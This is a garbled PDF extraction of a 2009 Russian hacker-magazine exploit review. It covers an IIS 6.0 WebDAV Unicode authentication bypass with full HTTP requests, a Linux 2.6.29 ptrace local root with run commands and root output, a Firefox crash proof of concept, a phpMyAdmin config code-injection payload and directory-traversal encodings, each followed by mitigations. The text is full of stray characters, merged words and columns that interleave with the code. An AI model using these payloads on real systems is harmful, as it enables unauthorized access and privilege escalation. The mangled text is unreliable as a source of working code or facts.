 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

взлом

обзор

обзор

эксплоитов

эксплоитов

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

обзор

эксплоитов

обзор

эксплоитов

обзор

эксплоитов

АНДРЕЙ «SKVOZ» КОМАРОВ

OBZORЕKSPLOITOV

Летняяпора— времяотдыха. Какбынитак, когдаречьидетобуязвимостях! Соревнованиямежду«злоумышленником» и«защитником» (применительнокнашемувремени– междухакеромивендором) продолжаются. Числобрешейнеизмериморастет. Ксожалению, всеосветитьникакнеполучается, поэтомувэтотразяподготовилнаобозрениенаиболееважные.

01ОБХОДОГРАНИЧЕНИЙ ВMICROSOFT IIS 6.0 WEBDAV

>> Brief

Изюминкаэтогоклассаатаквтом, чтовозможность«забрать» искомоес серверасуществуетабсолютнобезразличнопоотношениюкзащищен-

ностиресурса. WebDAV (Web-based Distributed Authoring and Versioning)

устанавливаетсявсвязкесIIS, традиционнымWEB-серверомдляплат- формлинейки«Windows Server». WebDAV расширяетHTTP следующими командами:

PROPFIND — получение свойств объекта на сервере в формате XML. Также можно получать структуру репозитория (дерево каталогов)

PROPPATCH — изменение свойств за одну транзакцию

MKCOL — создать коллекцию объектов (каталог в случае доступа к файлам)

COPY — копирование из одного URI в другой

MOVE — то же, что и предыдущая, только перемещение

LOCK — поставить блокировку на объекте. WebDAV поддерживает эксклюзивные и общие (shared) блокировки

UNLOCK — снять блокировку с ресурса

Всеэтикомандыявляютсядополнительнымиметодамивзаимодействия сWEB-сервером. Узнатьболееподробнообэтихиосновныхзапросах HTTP-протоколатыможешьизмоейдавнейстатьи(«Отпечаткипальцев http» — xakep.ru/magazine/xa/117/038/1.asp). Уязвимостьсостоитвтом,

чтоWEB-сервернекорректнообрабатываетURI сUnicode-содержанием.

>> Targets:

Microsoft IIS 6.0 WebDAV

>> Exploit

Предположим, унасестьдиректорияотносительнокорня«c:\inetpub\ wwwroot\secret\». Соответственно, «inetpub\wwwroot\» — то, чтосо-

здаетIIS подефолту. Внейлежитфайлsecret.zip, приэтомдиректория

недоступнаначтение«извне» илижезащищенапаролем. Обращение кфайлуотносительносамогохоста: secrethost.ru/secret/secret.zip. Для обходаограниченийпосылаемGET-запросвида:

GET / %c0%af/secret/secret.zip HTTP/1.1

Translate: f

Connection: close

Host: secrethost.ru

Видно, чтовURI мывставилисимвол«/» (%c0%af), которыйбудетудален изWebDav-запроса. ВтораястрокауказываетWEB-серверунато, что запросследуетобрабатыватьспомощьюсредствWebDav. Мыможем комбинироватьипослатьнечтовроде:

GET /sec%c0%afret/secret.zip HTTP/1.1

Translate: f

Connection: close

Host: secrethost.ru

Вотчетпридетсодержимоезащищенногообъекта, дажееслидиректория, вкоторойонрасполагался, былазащищенапаролем. Можноли сделатьчто-либоеще? СмотриописаниезапросаPROPFIND — сним можнополучитьструктурукакой-либопапки. Еслиучесть, что, используяUNICODE, мыможемобходитьвесомыеограничениябезопасности, – почемубынеприменитьэтодлялистингакаталоговнасервере? PROPFIND (msdn.microsoft.com/en-us/library/aa142960(EXCHG.65). aspx) илиBPROPFIND (msdn.microsoft.com/en-us/library/ aa142725(EXCHG.65).aspx) достаточноподробноописаны, поэтомуобо всехдополнительныхвключенияхтыбезтрудасможешьузнать. Примерполученияспискафайловвнутридиректорииsecret:

PROPFIND /sec%c0%afret/ HTTP/1.1

Host: secrethost.ru

User-Agent: Mozilla

Connection: TE

TE: trailers

Depth: 1

042

XÀÊÅÐ 06 /126/ 09

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

эксплоитов

эксплоитов

>>

обзор

эксплоитов

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Content-Length: 288 Content-Type: application/xml

<?xml version=»1.0» encoding="utf-8"?> <propfind xmlns="DAV:"><prop> <getcontentlength xmlns="DAV:"/>

<getlastmodified xmlns="DAV:"/> <resourcetype xmlns="DAV:"/> <checked-in xmlns="DAV:"/> <checked-out xmlns="DAV:"/> </prop></propfind>

>> SOLUTION

Наданныймоментнебыловыпущеноофициальногоисправления уязвимости, поэтомуоднимизрешенийможетявлятьсяотключение WebDav. Дляэтогодобавьследующеезначение(Add value) поключу

«HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\ Parameters»:

Value name: DisableWebDAV

Data type: DWORD

Value data: 1

Перезагрузи IIS и отключение вступит в силу. Для отключения протокола WebDAV можно также воспользоваться средством IIS Lockdown. За дополнительной информацией обратись к веб-уз-

лу корпорации Microsoft (microsoft.com/technet/security/tools/ locktool.mspx).

IIS lockdown tool — утилитаотMicrosoft, позволяющаялегкоибыстро переключитьвеб-сервер(IIS 4.0 или5.0) врежим, когдаработаюттолько тесервисы, которыехочетпредоставитьадминистраторсервера, авсе другиеотключены. Такойподходможетстатьвременнымустранением уязвимости.

02ЛОКАЛЬНОЕПОВЫШЕНИЕ ПРИВИЛЕГИЙВ GNU/LINUX KERNEL 2.6.29

>> Brief

Проблема вызвана функцией «ptrace_attach ()» [kernel/ptrace.c] и использованием «current->cred_exec_mutex» вместо «task->cred_ exec_mutex», – все это может позволить злонамеренным пользователям получать привилегии рута с помощью совместных «ptrace ()» и «exec ()» вызовов. Код уязвимой функции представлен ниже:

175 int ptrace_attach(struct task_struct *task)

176{

177int retval;

178unsigned long flags;

180

audit_ptrace(task);

181

 

182retval = -EPERM;

183if (same_thread_group(task, current))

184goto out;

185

186/* Protect exec’s credential calculations

187against our interference; SUID, SGID and LSM

188creds get determined differently under ptrace */

189retval = mutex_lock_interruptible(

&current->cred_exec_mutex);

190if (retval < 0)

191goto out;

193retval = -EPERM;

194repeat:

...

230bad:

231write_unlock_irqrestore(&tasklist_lock,

flags);

232task_unlock(task);

233mutex_unlock(&current->cred_exec_mutex);

234out:

235return retval;

236}

На 189 и 233 строках ptrace_attach использует мьютекс текущего процесса для работы с «замком» и двумя процессами (текущим и тем, который передается в функцию в качестве аргумента). Из-за некорректного использования cred_exec_mutex текущего процесса вместо процесса, который должен быть отслежен, возникает ситуация «гонки» вовремя исполнения какого-либо процесса и неконтролируемого обращения к SUID.

>> Exploit milw0rm.com/exploits/8678

Практикаиспользования:

# id

*uid=1000(matthew) gid=1000(matthew) groups=4(adm), 20(dialout),24(cdrom),25(floppy), 29(audio),30(dip),44 (video),46(plugdev),107(fuse),109(lpadmin),115(admin), 1000(matthew)

# компилим сплойт

gcc exploit.c -o exploit

# uname -a

*Linux matthew-desktop 2.6.29-020629-generic #020629 SMP Tue Mar 24 12:03:21 UTC 2009 i686 GNU/Linux

# while `/bin/true/`;do ./exploit;done

*[... much scroll removed, go make coffee, get a job, do something while running ...]

*/dev/sda1 on / type ext3 (rw,relatime,errors=remountro)

*proc on /proc type proc (rw,noexec,nosuid,nodev)

*/sys on /sys type sysfs (rw,noexec,nosuid,nodev)

*varrun on /var/run type tmpfs (rw,noexec,nosuid,node v,mode=0755)

*varlock on /var/lock type tmpfs (rw,noexec,nosuid,no dev,mode=1777)

*udev on /dev type tmpfs (rw,mode=0755)

*devshm on /dev/shm type tmpfs (rw)

*devpts on /dev/pts type devpts (rw,gid=5,mode=620)

УЯЗВИМАЯФУНКЦИЯВРЕПОЗИТАРИЯХBUGZILLA

XÀÊÅÐ 06 /126/ 09

043

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

эксплоитов

эксплоитов

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

обзор

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

эксплоитов

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

ВСЕВЫНУЖДЕННЫЕКРЭШИБРАУЗЕРАЧЕТКООТСЛЕЖИВАЮТСЯИ АНАЛИЗИРУЮТСЯРАЗРАБОТЧИКАМИ

*securityfs on /sys/kernel/security type securityfs (rw)

*gvfs-fuse-daemon on /home/matthew/.gvfs type fuse. gvfs-fuse-daemon (rw,nosuid,nodev,user=matthew)

*[ WIN! 18281

*[ Overwritten 0xb8097430

# id

*uid=0(root) gid=1000(matthew) groups=4(adm),20(dialo ut),24(cdrom),25(floppy),29(audio),30(dip),

*44(video),46(plugdev),107(fuse),109(lpadmin),115(ad

min),1000(matthew)

Итак, привилегиибылиуспешнозахвачены.

>>Targets:

rPath rPath Linux 2

rPath Appliance Platform Linux Service 2

rPath Appliance Platform Linux Service 1

Linux kernel 2.6.29

>>Solution

Чтобы победить уязвимость, воспользуйся патчем из GIT (git.kernel. org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;f=kernel/ptrace.c; h=0692ab5a0d672341000d1697d7c308c566060fb4;hp=dfcd83ceee3b24632 6cbec2a6eadb27abdba7823;hb=cad81bc2529ab8c62b6fdc83a1c0c7f4a872 09eb;hpb=ce8a7424d23a36f043d0de8484f888971c831119).

03MOZILLA FIREFOX

MEMORY CORRUPTION

>> Brief

БрешьобнаружилиMarc Gueury иDaniel Veditz, послечеготабылаофициальноопубликованавбазеCVE (CVE-2009-1313). Касаетсяонакрэша браузерапутемэксплуатации@nsTextFrame::ClearTextRun().

50 /* rendering object for textual content of elements */

...

3494 void

3495 nsTextFrame::ClearTextRun()

3496 {

3497 // save textrun because ClearAllTextRunReferences will clear ours

3498 gfxTextRun* textRun = mTextRun;

3499

3500 if (!textRun)

3501 return;

3502

3503 UnhookTextRunFromFrames(textRun);

ЗАПРЕТРАСШИРЕНИЙWEBDAV ЧАСТИЧНОСПАСАЕТОТПРОБЛЕМЫ

3504

// see comments in BuildTextRunForFrames...

3505

//

if (textRun->GetFlags() & gfxFontGroup::TEXT_

IS_PERSISTENT) {

3506

// NS_ERROR("Shouldn’t reach here for now...»);

3507

// // the textrun’s text may be referencing a DOM

node that has changed,

3508

// // so we’d better kill this textrun now.

3509

//

if (textRun->GetExpirationState()-

>IsTracked()) {

3510

//

gTextRuns->RemoveFromCache(textRun);

3511

//

}

3512

//

delete textRun;

3513

//

return;

3514

//

}

3515

 

 

3516

if (!(textRun->GetFlags() &

 

gfxTextRunWordCache::TEXT_IN_CACHE)) {

3517

 

// Remove it now because it’s not doing

anything useful

3518

 

gTextRuns->RemoveFromCache(textRun);

3519

 

delete textRun;

3520

}

 

3521

}

 

 

 

 

Приведеннаявышефункциявзятаизфайлаlayout/generic/ nsTextFrameThebes.cpp. Рассмотримподробнее, чтожеонаделает. СначалаустанавливаетуказательtextRun наmTextRun (3498). Далее проверяет, неравенлиtextrun NULL (3500). Снимаетхуксфреймаи проверяет, присутствуетлиtextrun вкэше. Еслида, тоудаляетегоиз кеша, азатемудаляетисамобъект. Закомментированныйучастоккода такжесодержитошибки. Ошибкавтом, чтоmTextRun можетсодержать некорректныефлагиотпредыдущихопераций, – этоприведеткнекорректномуудалению(3519). Из-заподобныхсоображенийразработчики Mozilla позднееввелиновуюдополнительнуюконстанту:

+// Set when this text frame is mentioned in the userdata for a textrun

+#define TEXT_IN_TEXTRUN_USER_DATA 0x40000000

>>Exploit

Кодэксплойтаприведенниже.

<html><head><title> Bug 489647 - New 1.9.0.9 topcrash [@nsTextFrame::ClearTextRun()]</title></head> <body>

<div id=»a» style=»white-space: pre;»> m</div>

<script> function doe() {

document.getElementById(‘a’).childNodes[0].

044

XÀÊÅÐ 06 /126/ 09

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

обзор

эксплоитов

эксплоитов

эксплоитов

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

>> взломw Click

 

BUY

 

 

to

 

 

 

 

m

обзор

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

эксплоитов

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

КОМПОНЕНТARTFORMS СОБСТВЕННОЙПЕРСОНОЙ

 

 

 

 

 

1 <?php

 

 

 

 

 

...

 

 

 

 

 

10 class ConfigFile

 

 

 

 

 

11 {

 

 

 

 

 

 

12

/**

 

 

 

 

 

13

* Stores default PMA config from config.default.

 

 

 

 

 

php

 

 

 

 

 

 

14

* @var array

 

 

 

 

 

15

*/

 

 

 

 

 

16

private $cfg;

 

 

 

 

 

...

ЭКСПЕРТЫОЦЕНИВАЮТРИСКПОВЫШЕНИЯПРИВЕЛЕГИЙНАLINUX

 

259

/**

КАКСРЕДНИЙ(ЖЕЛТЫЙЦВЕТ). НАСАМОМЖЕДЕЛЕМЫПОНИМАЕМ,

 

260

* Creates config file

ЧТОЗАХВАТМАШИНЫДОСТАТОЧНООПАСНАЯВЕЩЬ, ДАЖЕНЕСМОТ-

 

261

*

РЯНАТО, ЧТОТРЕБУЕТОПРЕДЕЛЕННЫХУСЛОВИЙ

 

 

262

* @return string

 

 

 

 

 

 

 

 

 

 

263

*/

splitText(1);

 

264

public function getConfigFile()

}

 

 

 

 

265

{

setTimeout(doe, 100);

 

266

$crlf = (isset($_SESSION['eol']) && $_

</script>

 

SESSION['eol'] == 'win') ? "\r\n" : "\n";

</body>

 

267

$c = $_SESSION['ConfigFile'];

</html>

 

268

 

 

 

 

 

 

269

// header

Послеисполненияуказанногокодапроисходитаварийноезавершение

 

270

$ret = '<?php' . $crlf

работыбраузера.

 

...

 

 

 

 

 

279

// servers

 

 

 

 

 

 

>> Targets

 

 

 

280

if ($this->getServerCount() > 0) {

Mozilla Firefox доверсии3.0.10

 

281

$ret .= "/* Servers configuration */$crlf\$i

 

 

 

 

 

= 0;" . $crlf . $crlf;

 

 

 

 

 

>> Solution

 

 

282

foreach ($c['Servers'] as $id => $server) {

ВновыхверсияхFirefox уязвимостьсвоевременноустранена.

 

283

$ret .= '/* Server: ' . $this-

 

 

 

 

 

>getServerName($id) . " [$id] */" . $crlf

 

 

 

ВНЕДРЕНИЕ

 

284

. '$i++;' . $crlf;

04КОДАВPHPMYADMIN

 

286

$ret .= "\$cfg['Servers'][\$i]['$k']

 

 

 

 

 

285

foreach ($server as $k => $v) {

 

 

 

 

>> Brief

:

 

= «

 

Кто бы мог подумать, что во время установки Phpmyadmin мы

 

287

. var_export($v, true) . ';' . $crlf;

можем произвести эксплуатацию кода! Рассмотрим внимательно

 

288

}

сорец, использующийся установочным файлом для формирования

 

289

$ret .= $crlf;

конфига:

 

290

}

 

 

 

 

 

 

 

XÀÊÅÐ 06 /126/ 09

045

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

обзор

обзор

эксплоитов

эксплоитов

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

обзор

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

эксплоитов

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

зор

сплоитов

ОГРОМНЫЙСПИСОКУЯЗВИМОСТЕЙJOMMLA, ЛЬВИНАЯДОЛЯКОТОРЫХСОДЕРЖИТСЯВКОМПОНЕНТАХ. ВСE ЭТОИМЕЕТНАСВОЕМБОРТУ JOOMSCAN ДЛЯПРОВЕРОК

291$ret .= '/* End of servers configuration */'

. $crlf . $crlf;

292}

Итак,функцияgetConfigFile()возвращаетвсякогородаинформацию. Здесьсоставляетсяконфигурационныйфайл,и$retинклудитPHPкод.На281строкемывидимкомментарий,азатемещеодин(/*Server:

<getServerName()>«id»*/).Обративнимание:выходиттак,что$idполностью контролируетсяпользователемсразу,кактолькопеременнаябылаполучена изсессии(267).Скажем,еслипользовательпередастееустановленнойв виде«bleh*/<?phpechodate();?>/*»,тотемсамымонзавершитконфигу-

рационныйфайлстрокой«/*Server:<getServerName()>bleh*/<?phpecho date();?>/**/».

>> Targets

phpMyAdmin 3.x (до3.1.3.2.)

>> Solution

Требуетсяограничитьпередаваемыеданныеспомощьюpreg_replace():

foreach ($c['Servers'] as $id => $server) {

+ $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);

$ret .= '/* Server: ' . $this->getServerName($id) . " [$id] */" . $crlf

Иприменитьофициальновышедшиеобновления:

УСПЕШНЫЙОБХОДИПРОВЕДЕНИЕАТАКИ«DIRECTORY TRAVERSAL»

phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revis ion=12342.

phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revis ion=12348.

05 РАСКРЫТИЕПУТЕЙ ВZERVIT WEBSERVER 4.0

>> Brief:

Классификацияподобнойатаки— Directory Traversal. ВлитературеисовременныхсистемахклассификациивекторатакиназываютPath Traversal. Самыйбольшойриск, которыйонавлечетзасобой, скрываетсянетолько влистингедиректорий, ноивобходеACL-листов. Этатехникаатак направленанаполучениедоступакфайлам, директориямикомандам, находящимсявнеосновнойдиректорииWeb-сервера. Злоумышленник можетманипулироватьпараметрамиURL сцельюполучениядоступа

кфайламиливыполнитькоманды, располагаемыевфайловойсистеме Web-сервера. Дляподобныхатакпотенциальноуязвимолюбоеустройство, имеющееWeb-интерфейс. МногиеWeb-серверыограничиваютдоступ пользователяопределеннойчастьюфайловойсистемы, обычноназываемой«web document root» или«CGI root». Этидиректориисодержатфайлы, предназначенныедляпользователя, ипрограммы, необходимыедля получениядоступакфункциямWeb-приложения. Большинствобазовых атак, эксплуатирующихобратныйпуть, основанынавнедрениивURL символов«../» – длятого, чтобыизменитьрасположениересурса, который будетобрабатыватьсясервером. ПосколькубольшинствоWeb-серверов фильтруютэтупоследовательность, злоумышленникможетвоспользоватьсяальтернативнымикодировками, например, Unicode («..%u2216» или«..%c0%af»). Другиепопулярныеприемы– использованиеобратного слеша(«..\») вWindows-серверах, символовURLEncode («%2e%2e%2f») илидвойнаякодировкаURLEncode («..%255c»).

ДажееслиWeb-серверограничиваетдоступкфайламопределенным каталогом, этауязвимостьможетвозникатьвсценарияхилиCGI-про- граммах. Возможностьиспользованияобратногопутивкаталогах довольночастовозникаетвприложениях, использующихмеханизмы шаблоновилизагружающихтекстстраницизфайловнасервере. Вэтом вариантеатакизлоумышленникмодифицируетимяфайла, передавае- моевкачествепараметраCGI-программыилисерверногосценария. В результатеонможетполучитьисходныйкодсценариев. Нередкокимени запрашиваемогофайладобавляютсяспециальныесимволы, такиекак «%00», сцельюобходафильтров. Бывает, чтоприэксплуатациитакого родауязвимостейвответнаихпопулярностьприменяютсяIDS-систе- мы, которыеурезаютзапросыс«хождением» покаталогам(«/../../../») вариационнойглубины. Требуетсяпомнить, чтокроместандартного символамыможемиспользовать, кпримеру, «..\..\», «../..\../..\», атакже разновидностикодированногосодержимого.

ТИПИЧНЫЙОТВЕТWEB-СЕРВЕРАПОСЛЕИСПОЛНЕНИЯPROPFIND

 

 

046

XÀÊÅÐ 06 /126/ 09

 

 

 

 

 

 

 

 

 

 

 

 

Соседние файлы в папке журнал хакер